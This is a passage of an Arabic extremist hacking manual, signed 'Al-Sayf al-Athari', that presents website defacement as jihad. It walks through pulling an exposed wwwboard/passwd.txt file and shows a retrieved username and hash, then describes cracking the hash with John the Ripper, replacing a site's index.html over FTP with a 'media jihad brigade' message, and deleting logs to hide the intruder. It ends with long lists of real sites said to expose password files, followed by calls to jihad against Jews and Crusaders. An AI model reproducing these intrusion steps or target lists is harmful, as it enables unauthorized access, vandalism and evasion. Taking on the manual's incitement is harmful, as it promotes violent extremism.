  .يكمل وهو john-restore اكتب، ! فكيف أكمل ؟
 

 ما يجب علينا ول، أ!  ما ق موقعاختر ا- مستعينين باالله -حاول ن كمثال فلالآن
  كالياهو وواجهات للاستخبارات الصليبيةقعاالبدء به هو المواقع العادية وليس مو

، لأن اختراق المواقع العادية سهل جدا بعون االله ، فلا تتقاعس أخي عن ! مثلا 
 !الجهاد الذي قد ساقه االله لك ودع القول ولنبدأ العمل 

 
 وكلاهمـا  WS_FTP pro و John the ripper : اللازمة البرامج

 . وحده موجود في المرفقات المضغوطة بفضل االله سبحانه
 

 :بسم االله نبدأ 
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 :نعطيكم موقع فيه ثغرة ونحاول تنفيذها وهو  نالآ
 

http://www.dsg-art.com/)   على ما    والثغرة  فقط لموقع مثال اهذا 
 )ن ليست فيه الآيبدو

 
  : هيتي ال"الباسوورد"هذا الموقع مصاب بثغرة ملف 

 
wwwboard/passwd.txt  

 
 الآن ننفذ الثغرة

 
http://www.dsg-art.com/wwwboard/passwd.txt 

 
ــا  ــيم"مــن أجــل أن يظهــر لن ــوزر ن ــالي " الباســوورد"و " الي : كالت
jc:GXQ4cN0fhbptw 

 
jc "ــوزر ــاليـ ــه " يم نـ ــا يليـ  GXQ4cN0fhbptw، ومـ

فكيف يتم فـك    مشفر  كما هو ظاهر ومعلوم     " الباسوورد"هذا  ؛  " الباسوورد"
 !الأصلي ؟" الباسوورد" للحصول على تشفيره

 
 .ه أعلاه وشرحالسابق ذكره " يرريب جون ذا"طبعا ببرنامج 
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 لموقعل" الباسوورد"و  " اليوزر نيم "حسنا الآن قمنا بفك التشفير وصار عندنا        
  .الاختراقة تمت عملي - بفضل االله -، إذن مبارك عليكم 

 
 كتيبة تم الاختراق بواسطةلا إله إلا االله محمد رسول االله ، " الآن نريد كتابة 

 !مثلا فكيف يتم ذلك ؟" الجهاد الإعلامي ، والله العزة ولرسوله وللمؤمنين 
 

  .WS_FTP PRO " بي تي فالأ"ببرنامج يتم ذلك طبعا 
 

" الريموت "على البرنامج وندخلفي " الباسوورد"و " اليوزر نيم"حسنا الآن نضع 
تقوم مستعينا باالله بعمليـة مسـح        الموقع   ير تدم التابع للموقع المراد ؛ وإذا أردت     

  .لملفاتل
ملـف  كما أسلفنا   هذا   ،   index.htmlيسمى الملفات ملف    يوجد فيما بين  

 ، الآن نحن بالطبع قد قمنا بتجهيز الملف المعتمد والذي           قعالصفحة الرئيسية للمو  
 كتيبة الجهاد الإعلامي    تم الاختراق بواسطة  لا إله إلا االله محمد رسول االله ،         " فيه  

 والآن نقوم بمسح ومحـي وحـذف        ، قبل من" ، والله العزة ولرسوله وللمؤمنين      
عد سلفا من جهازنا بعد     التابع للموقع ، ونقوم بإدخال ملفنا الم      " كسيندإ"الملف  

 .اختيار وتحديد مكانه على الجهاز بعون االله 
 

 وتـرك    - بعون االله    - تم اختراق الموقع  الآن أبشر واستبشر وبشر من خلفك ،        
  ! " .تم اختراق الموقع"  لصاحبه ةرسال

 



 

 

56 

������<<<<دع�א��ل�و�
	���א�����دع�א��ل�و�
	���א�����دع�א��ل�و�
	���א�����دع�א��ل�و�
	���א����� ������א����د��א���

وكما أسلفنا من أجل عدم معرفة صاحب الموقع هوية صاحب الاختراق نذهب            
التي تم شرحها أعلاه بحمد االله ، والآن بإمكان أيا كـان            " للوغا"ونمسح ملفات   

 .قرأ ما جاء أعلاه اختراق المواقع العادية والمواقع ضعيفة التحصين بحول االله وقته 
 

وفي النهاية هذا جدول لمواقع قابلة للاختراق مع أنواع الثغرات المختلفـة مـع              
ثغرات موجودة وتعمل الآن في     التأكيد على أنه ليس بالضرورة أن تكون جميع ال        

 .المواقع عند قراءتكم للموضوع دام فضلكم 
 

 
 

 مواقع فيها ثغرات

 
http://www.efn.org/~dalep/wwwboard/passwd.t

xt 
 

http://www.lionnet.org.tr/118u/wwwboard/pass
wd.txt 
 

http://members.mint.net/raske/wwwboard/pass
wd.txt 
 

http://www.avatar-
moving.com/kb/wwwboard/passwd.txt 

http://links.php/?url=http://www.efn.org/%7Edalep/wwwboard/passwd.txt
http://links.php/?url=http://www.efn.org/%7Edalep/wwwboard/passwd.txt
http://links.php/?url=http://www.lionnet.org.tr/118u/wwwboard/passwd.txt
http://links.php/?url=http://www.lionnet.org.tr/118u/wwwboard/passwd.txt
http://links.php/?url=http://members.mint.net/raske/wwwboard/passwd.txt
http://links.php/?url=http://members.mint.net/raske/wwwboard/passwd.txt
http://links.php/?url=http://www.avatar-moving.com/kb/wwwboard/passwd.txt
http://links.php/?url=http://www.avatar-moving.com/kb/wwwboard/passwd.txt
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http://espa.virtualave.net/wwwboard/passwd.tx

t 
 

http://mulerider.saumag.edu/wwwboar...oard-
passwd.txt 

 
http://www.kcftoa.org/hazmat/wwwboard/pass

wd.txt 
 

http://www.go-
steeltown.com/classif...oard/passwd.txt 

 
http://www.creative-

design.de/kmt/wwwboard/passwd.txt 
 

http://www.kaapeli.fi/~hekata/wwwboard/pass
wd.txt 
 

http://www.go-
steeltown.com/invitat...oard/passwd.txt 

 
http://www.ica1.uni-

stuttgart.de/~k...oard/passwd.txt 
 

http://sitemanager.hypermart.net/wwwboard/p
asswd.txt 

http://links.php/?url=http://espa.virtualave.net/wwwboard/passwd.txt
http://links.php/?url=http://espa.virtualave.net/wwwboard/passwd.txt
http://links.php/?url=http://mulerider.saumag.edu/wwwboar...oard-passwd.txt
http://links.php/?url=http://mulerider.saumag.edu/wwwboar...oard-passwd.txt
http://links.php/?url=http://www.kcftoa.org/hazmat/wwwboard/passwd.txt
http://links.php/?url=http://www.kcftoa.org/hazmat/wwwboard/passwd.txt
http://links.php/?url=http://www.go-steeltown.com/classif...oard/passwd.txt
http://links.php/?url=http://www.go-steeltown.com/classif...oard/passwd.txt
http://links.php/?url=http://www.creative-design.de/kmt/wwwboard/passwd.txt
http://links.php/?url=http://www.creative-design.de/kmt/wwwboard/passwd.txt
http://links.php/?url=http://www.kaapeli.fi/%7Ehekata/wwwboard/passwd.txt
http://links.php/?url=http://www.kaapeli.fi/%7Ehekata/wwwboard/passwd.txt
http://links.php/?url=http://www.go-steeltown.com/invitat...oard/passwd.txt
http://links.php/?url=http://www.go-steeltown.com/invitat...oard/passwd.txt
http://links.php/?url=http://www.ica1.uni-stuttgart.de/%7Ek...oard/passwd.txt
http://links.php/?url=http://www.ica1.uni-stuttgart.de/%7Ek...oard/passwd.txt
http://links.php/?url=http://sitemanager.hypermart.net/wwwboard/passwd.txt
http://links.php/?url=http://sitemanager.hypermart.net/wwwboard/passwd.txt
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http://cgi.snafu.de/utimper/user-

cg...oard/passwd.txt 
 

http://www.foxsden.org/psf/FFE/wwwboard/pa
sswd.txt 

 
http://expert.cc.purdue.edu/~pumsan/wwwboar

d/passwd.txt 
 

http://www.cabinessence.com/brian/s...oard/pa
sswd.txt 

 
http://wrm.hre.ntou.edu.tw/wrm/wwwboard/pas

swd.txt 
 

http://www.radiocollege.org/rc/wwwboard/pass
wd.txt 
 

http://www.student.utwente.nl/~here...oard/pas
swd.txt 

 
http://www.as.ua.edu/arcca/wwwboard/passwd

.txt 
 

http://students.cs.byu.edu/~quixote/wwwboard/
passwd.txt 

http://links.php/?url=http://cgi.snafu.de/utimper/user-cg...oard/passwd.txt
http://links.php/?url=http://cgi.snafu.de/utimper/user-cg...oard/passwd.txt
http://links.php/?url=http://www.foxsden.org/psf/FFE/wwwboard/passwd.txt
http://links.php/?url=http://www.foxsden.org/psf/FFE/wwwboard/passwd.txt
http://links.php/?url=http://expert.cc.purdue.edu/%7Epumsan/wwwboard/passwd.txt
http://links.php/?url=http://expert.cc.purdue.edu/%7Epumsan/wwwboard/passwd.txt
http://links.php/?url=http://www.cabinessence.com/brian/s...oard/passwd.txt
http://links.php/?url=http://www.cabinessence.com/brian/s...oard/passwd.txt
http://links.php/?url=http://wrm.hre.ntou.edu.tw/wrm/wwwboard/passwd.txt
http://links.php/?url=http://wrm.hre.ntou.edu.tw/wrm/wwwboard/passwd.txt
http://links.php/?url=http://www.radiocollege.org/rc/wwwboard/passwd.txt
http://links.php/?url=http://www.radiocollege.org/rc/wwwboard/passwd.txt
http://links.php/?url=http://www.student.utwente.nl/%7Ehere...oard/passwd.txt
http://links.php/?url=http://www.student.utwente.nl/%7Ehere...oard/passwd.txt
http://links.php/?url=http://www.as.ua.edu/arcca/wwwboard/passwd.txt
http://links.php/?url=http://www.as.ua.edu/arcca/wwwboard/passwd.txt
http://links.php/?url=http://students.cs.byu.edu/%7Equixote/wwwboard/passwd.txt
http://links.php/?url=http://students.cs.byu.edu/%7Equixote/wwwboard/passwd.txt
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http://lrf1.unizar.es/~martin/panze...oard/pass

wd.txt 
 

http://www.netset.com/~jdennis/wwwboard/pas
swd.txt 

 
http://www.rit.edu/~jrd4663/cgi-

bin/wwwboard/passwd.txt 
 

http://www.i-
55.com/andersoninc/wwwboard/passwd.txt 

 
http://www.volker.de/deutsch/kontak...oard/pas

swd.txt 
 

http://www.ug.cs.sunysb.edu/~boehme...oard/
passwd.txt 

 
http://www.cjns.com/cyb/cyberair/wwwboard/p

asswd.txt 
 

http://www.cabling-
design.com/inter...oard/passwd.txt 

 
http://www.educanet.net/privado/con...oard/pa

sswd.txt 

http://links.php/?url=http://lrf1.unizar.es/%7Emartin/panze...oard/passwd.txt
http://links.php/?url=http://lrf1.unizar.es/%7Emartin/panze...oard/passwd.txt
http://links.php/?url=http://www.netset.com/%7Ejdennis/wwwboard/passwd.txt
http://links.php/?url=http://www.netset.com/%7Ejdennis/wwwboard/passwd.txt
http://links.php/?url=http://www.rit.edu/%7Ejrd4663/cgi-bin/wwwboard/passwd.txt
http://links.php/?url=http://www.rit.edu/%7Ejrd4663/cgi-bin/wwwboard/passwd.txt
http://links.php/?url=http://www.i-55.com/andersoninc/wwwboard/passwd.txt
http://links.php/?url=http://www.i-55.com/andersoninc/wwwboard/passwd.txt
http://links.php/?url=http://www.volker.de/deutsch/kontak...oard/passwd.txt
http://links.php/?url=http://www.volker.de/deutsch/kontak...oard/passwd.txt
http://links.php/?url=http://www.ug.cs.sunysb.edu/%7Eboehme...oard/passwd.txt
http://links.php/?url=http://www.ug.cs.sunysb.edu/%7Eboehme...oard/passwd.txt
http://links.php/?url=http://www.cjns.com/cyb/cyberair/wwwboard/passwd.txt
http://links.php/?url=http://www.cjns.com/cyb/cyberair/wwwboard/passwd.txt
http://links.php/?url=http://www.cabling-design.com/inter...oard/passwd.txt
http://links.php/?url=http://www.cabling-design.com/inter...oard/passwd.txt
http://links.php/?url=http://www.educanet.net/privado/con...oard/passwd.txt
http://links.php/?url=http://www.educanet.net/privado/con...oard/passwd.txt
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http://www.sussex.ac.uk/tcmr/pgp/pgp2/_vti_p

vt/ 
 

http://www.sussex.ac.uk/Units/IRPol/MAnews/
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http://members.aol.com/r1953young/_vti_pvt/ 

 
http://www.lic.wisc.edu/shapingdane/_vti_pvt/ 

 
http://www.gvc.gu.se/ngeo/ng-

hem/china/_vti_pvt/ 
 

http://www.robertsmyth.leics.sch.uk/_vti_pvt/ 
 

http://www.www.nr/My%20Webs/_vti_pvt/ 
 

http://siteventos.org.gt/tal_1/_vti_pvt/ 
 

http://siteventos.org.gt/redes/_vti_pvt/ 
 

http://virtation.com/_vti_pvt/ 
 

http://www.ch.ic.ac.uk/bbc/BCG/bcg2001/myw
eb/_vti_pvt/ 

http://links.php/?url=http://www.tpeditor.com/_vti_pvt/
http://links.php/?url=http://www.sussex.ac.uk/tcmr/pgp/pgp2/_vti_pvt/
http://links.php/?url=http://www.sussex.ac.uk/tcmr/pgp/pgp2/_vti_pvt/
http://links.php/?url=http://www.sussex.ac.uk/Units/IRPol/MAnews/_vti_pvt/
http://links.php/?url=http://www.sussex.ac.uk/Units/IRPol/MAnews/_vti_pvt/
http://links.php/?url=http://members.aol.com/r1953young/_vti_pvt/
http://links.php/?url=http://www.lic.wisc.edu/shapingdane/_vti_pvt/
http://links.php/?url=http://www.gvc.gu.se/ngeo/ng-hem/china/_vti_pvt/
http://links.php/?url=http://www.gvc.gu.se/ngeo/ng-hem/china/_vti_pvt/
http://links.php/?url=http://www.robertsmyth.leics.sch.uk/_vti_pvt/
http://links.php/?url=http://www.www.nr/My%20Webs/_vti_pvt/
http://links.php/?url=http://siteventos.org.gt/tal_1/_vti_pvt/
http://links.php/?url=http://siteventos.org.gt/redes/_vti_pvt/
http://links.php/?url=http://virtation.com/_vti_pvt/
http://links.php/?url=http://www.ch.ic.ac.uk/bbc/BCG/bcg2001/myweb/_vti_pvt/
http://links.php/?url=http://www.ch.ic.ac.uk/bbc/BCG/bcg2001/myweb/_vti_pvt/


 

 

70 

������<<<<دع�א��ل�و�
	���א�����دع�א��ل�و�
	���א�����دع�א��ل�و�
	���א�����دع�א��ل�و�
	���א����� ������א����د��א���

 
http://www.imolbio.oeaw.ac.at/xenopus/_vti_pv

t/ 
 

http://www.humgym-meran.it/_vti_pvt/ 
 

http://www.ceeinet.umd.edu/faculty/ahaghani/_
vti_pvt/ 

 
http://www.chu-stlouis.fr/hematoonco/_vti_pvt/ 

 
http://www.ch.ic.ac.uk/local/projec...thorn/_vti_

pvt/ 
 

http://www.ce.cmu.edu/~mcnamara/_vti_pvt/ 
 

http://www.fht-
stuttgart.de/fbv/fbvweb/ipo/_vti_pvt/ 

 
http://www.cem.ufpr.br/ecoturismo/_vti_pvt/ 

 
http://www.net1.net/~akiecke/_vti_pvt/ 

 
http://www.bridgewater.edu/departme...tisms/_

vti_pvt/ 
 

http://www.lu.lv/jauna/strukt/jgs/_vti_pvt/ 
 

http://www.jmtrep.hpg.com.br/_vti_pvt/ 
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http://alpha.tamu.edu/public/jae/_vti_pvt/ 

 
http://homepages.newnet.co.uk/netwo...k2000/

_vti_pvt/ 
 

http://www.ff.up.pt/sirigaitas/_vti_pvt/ 
 

http://www.cyclecoachingscotland.fr...co.uk/_vt
i_pvt/ 
 

http://members.aol.com/tamaranth/_vti_pvt/ 
 

http://www.bridgewater.edu/departme...owman
/_vti_pvt/ 

 
http://www.css.orst.edu/barley/_vti_pvt/ 

 
http://www.nilc.org.ge/geohealth/_vti_pvt/ 

 
http://www.memorial.fund.ukf.net/_vti_pvt/ 

 
http://www.ipe.csic.es/cursos.escos/_vti_pvt/ 

 
http://dnr.state.il.us/legislation/isah/_vti_pvt/ 

 
http://www.rrk-

berlin.de/rrkweb/chirurgie/_vti_pvt/ 
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http://www.jtr.gov.my/fik/_vti_pvt/ 

 
http://ww1.baywell.ne.jp/fpweb/drlatham/_vti_p

vt/ 
 

http://www.wms-
access.com/Photo%20Gallery/_VTI_PVT/ 

 
http://www.lfp.cz/primaire/_vti_pvt/ 

 
http://www.zs3zab.cz/_vti_pvt/service.pwd 

 
http://pages.citenet.net/users/ctmx...pvt/servic

e.pwd 
 

http://ftp.scu.edu.tw/_vti_pvt/service.pwd 
 

http://orion.ifsi.rm.cnr.it/meeting...pvt/service.p
wd 
 

http://www.momentus.com.br/users/le...pvt/ser
vice.pwd 

 
http://www2.alpinecom.net/_vti_pvt/service.pw

d 
 

http://www.necc.cc.ms.us/~jpowell/_vti_pvt/ser
vice.pwd 
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http://conca.users.netlink.co.uk/_vti_pvt/servic

e.pwd 
 

لبدء والمنتهى ، الذي وفقنا لإتمام هذا العمـل              وبعد فالحمد رب العالمين في ا     
الجليل وكما سألنا االله الصدق والإخلاص في القول والعمل نسأله العفو والصفح            

 .ونرجو التوبة والمغفرة ونأمل القبول والرفعة بفضله ولطفه وكرمه سبحانه 
 

 بعدم  صدار نقيم الحجة على القاعدين مع الخالفين والمتذرعين       لإوإننا بنشر هذا ا   
قدرم على الوصول إلى ساحات القتال وميادين الترال ، فدونكم هـذا الثغـر              
وهذا الميدان فقاتلوا فيه قتال ااهدين في سبيل االله ولكم الأجـر والثـواب إن               

 .صلحت الطوايا وخلصت النيات ، واالله يقول يقول الحق وهو يهدي السبيل 
 

والفرج القريب لأمة الإسلام عامة ولطليعتها      ونسأل االله النصر ايد والفتح المبين       
ااهدة والمقاتلة في سبيل االله خاصة ، فاللهم أقر عيون قادة الجهـاد وشـيوخه               
وعلماءه وأنصاره بنصرك المبين وفتحك القريب ، اللهم ودمر أعداء الأمة مـن             

أجمعين اليهود والصليبيين ومن شايعهم وناصرهم ووالاهم من المنافقين والمرتدين          
 .؛ اللهم آمين 

 
 007وختاما نسأل االله أن يحفظ أخانا الفاضل الكريم والغالي الحبيب إرهـابي             

وأن يبقيه لما يسر المؤمنين ويفرح قلوب الموحدين في كل مكان ، ولمـا يسـوء                
 .الكافرين ويخزي المرتدين ويفضح المنافقين 
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له صلى االله عليه وسلم بالجهاد      ولا تنسوا أوامر االله في كتابه العظيم وأوامر رسو        

 !في سبيل االله في كل ثغر والقعود للعدو في كل مرصد يرضي االله ورسوله 
 

 !فلندع القول ولنبدأ العمل 
 

 !وأول الغيث الندى ! ومشوار الألف ميل يبدأ بخطوة 
 

 وآخر دعوانا أن الحمد الله رب العالمين
 

 ونبينا محمد وعلى آله وصحبه وصلى االله وسلم وبارك وأنعم وأكرم على سيدنا
 ومن تبعهم بإحسان إلى يوم الدين

 
 عن جميع الإخوة الأفاضل الكرام

 
 أخوكم الفقير أصغرهم وأجهلهم

 
 السيف الأثري

 
 كان االله له ولإخوانه وللمسلمين


